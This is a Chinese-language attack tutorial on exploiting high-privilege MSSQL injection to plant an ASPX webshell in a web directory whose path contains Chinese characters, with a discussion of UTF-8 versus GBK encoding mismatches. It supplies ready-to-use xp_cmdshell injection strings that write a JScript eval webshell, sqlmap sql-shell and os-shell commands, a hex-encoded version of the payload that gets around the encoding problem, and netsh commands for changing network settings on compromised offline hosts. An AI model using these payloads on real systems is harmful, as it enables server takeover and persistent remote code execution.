MSSQL高权限注入写马至中文路径
字数 986 2025-08-09 23:12:49
MSSQL高权限注入写马至中文路径技术详解
0x01 技术背景
MSSQL高权限注入攻击中,当目标服务器存在中文路径时,常规的写马方法往往会因为编码问题导致失败。本文详细分析该问题的成因,并提供多种解决方案。
0x02 常见问题场景
- 站库分离环境:数据库服务器为断网机,无法直接联网
- 中文路径问题:网站绝对路径包含中文字符导致写马失败
- 命令执行限制:xp_cmdshell执行包含中文的命令时出现乱码
0x03 编码问题分析
关键编码差异
- 浏览器编码:默认UTF-8
- 网页编码:通常为UTF-8
- 数据库编码:MSSQL通常使用本地编码(如GB2312/GBK)
- 命令终端编码:cmd.exe默认代码页936(简体中文GBK)
乱码产生原因
当数据流经不同编码环境的组件时,中文字符的编码转换不当会导致乱码,最终导致命令执行失败或文件写入失败。
0x04 解决方案
方法一:通过浏览器手工写马
- 在注入点后执行以下SQL语句:
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell.aspx'--
- 关键点:
- 尖括号
<>前必须使用^转义 - 浏览器会自动将中文路径进行URL(UTF-8)编码
- 确保浏览器编码设置为UTF-8
- 尖括号
方法二:使用sqlmap的sql-shell写马
- 命令示例:
sqlmap -u "http://192.168.1.109/sql.aspx?id=1" --sql-shell --batch --proxy http://127.0.0.1:8080
- 在sql-shell中执行:
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell1.aspx'
- 原理:
- sqlmap会将中文路径进行URL(UTF-8)编码
- 编码方式与浏览器类似
方法三:sqlmap os-shell手动编码转换
-
常规命令失败原因:
- os-shell通过xp_cmdshell调用cmd.exe执行命令
- cmd.exe使用GBK编码,而sqlmap默认使用UTF-8提交
-
解决方案步骤:
- 将写马命令进行HEX(GB2312)编码
- 示例原始命令:
echo ^<%@ Page Language="Jscript"%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%^> > C:\inetpub\wwwroot\中文测试\shell2.aspx - 转换为GB2312 HEX编码:
6563686F205E3C25402050616765204C616E67756167653D224A73637269707422255E3E5E3C25256576616C28526571756573742E4974656D5B2278787861736563225D2C22756E7361666522293B255E3E203E20433A5C696E65747075625C777777726F6F745CD6D0CEC4B2E2CAD45C7368656C6C322E61737078 - 构造SQL语句:
DECLARE @clit VARCHAR(8000); SET @clit=0x[上面生成的HEX编码]; INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @clit
0x05 其他实用技巧
-
断网环境处理:
- 检查网关设置:
netsh int ip show address - 设置静态IP和网关:
netsh int ip set address "本地连接" static 192.168.1.103 255.255.255.0 192.168.1.1 - 防火墙检查:
netsh advfirewall show allprofile
- 检查网关设置:
-
端口扫描:
nmap -sV -Pn 目标IP
0x06 总结
- 中文路径问题的核心是编码不一致,需确保各环节编码匹配
- 浏览器和sqlmap默认使用UTF-8编码
- cmd.exe使用GBK编码,需要相应转换
- 三种主要解决方案各有适用场景,可根据实际情况选择